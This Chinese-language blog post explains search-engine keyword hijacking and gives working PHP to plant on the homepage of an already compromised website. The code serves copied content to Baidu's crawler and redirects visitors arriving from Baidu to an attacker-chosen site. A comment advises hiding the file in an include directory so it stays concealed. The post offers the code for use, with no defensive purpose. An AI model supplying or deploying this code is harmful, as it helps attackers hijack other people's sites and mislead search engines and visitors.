搜尋引擎關鍵詞劫持之php篇(原始碼與分析)

芝麻軟體發表於2015-07-26

摘要:其實原理很簡單: 搜尋引擎關鍵詞劫持的過程實際上就是,修改肉雞站點(webshell站點)A的首頁(希望被搜尋引擎收錄的頁面,一般情況下是首頁),使之做出如下判斷: if(來訪者是蜘蛛){ 輸出指定內容 } if(使用者是從搜尋引擎點選進入網站的){ 跳轉我們希…

其實原理很簡單:
搜尋引擎關鍵詞劫持的過程實際上就是,修改肉雞站點(webshell站點)A的首頁(希望被搜尋引擎收錄的頁面,一般情況下是首頁),使之做出如下判斷:

if(來訪者是蜘蛛){
輸出指定內容
}
if(使用者是從搜尋引擎點選進入網站的){
跳轉我們希望跳轉的站點B
}

所以我們可以達到如下效果:
針對蜘蛛來說,如果來訪者是指定的蜘蛛,那麼輸出希望讓蜘蛛看到的內容,如果來訪者不是蜘蛛,則輸出希望給正常使用者看到的內容。正常使用者在瀏覽器位址列輸入網址訪問網站A,看到正常的首頁,如果使用者點選百度的搜尋結果中的連結進入網站A,則跳轉我們要做SEO的站點B。
表達能力有限,說了這麼多也不知道大家明白沒有。。。
那好吧,下面我來上程式碼,大家可能一看就懂了。程式碼很短,也很容易理解。

<?php 
################################################ 
# 可以把本檔案放在類似inc、include這樣的目錄中 # 
# 首頁require_once(`本檔案路徑`);就可以了 # 
# 這樣會比較隱蔽 # 
################################################ 
if(strpos(strtolower($_SERVER[`HTTP_USER_AGENT`]),`baiduspider`) !== false ) { 
//判斷搜尋引擎,這裡是百度,可以自行新增蜘蛛 
/* 
Header("HTTP/1.1 301 Moved Permanently"); 
Header("Location: http://www.yunsec.net/"); 
//這是301跳轉,301主要針對搜尋引擎,如果你想告訴搜尋引擎這個頁面已經更換URL了的話... 
*/ 
$file = file_get_contents(`http://www.yunsec.net/forum.php`); 
echo $file;//輸出指定檔案內容 
exit; 
} 
//判斷來路 
if(stristr ($_SERVER[`HTTP_REFERER`],"baidu.com")) {//如果使用者來自baidu.com 
//Header("HTTP/1.1 301 Moved Permanently");//301跳轉,也可以不用301,直接跳轉,301狀態碼主要針對搜尋引擎使用 
Header("Location: http://www.yunsec.net/");//跳轉 
exit; 
} 
?> 

 


相關文章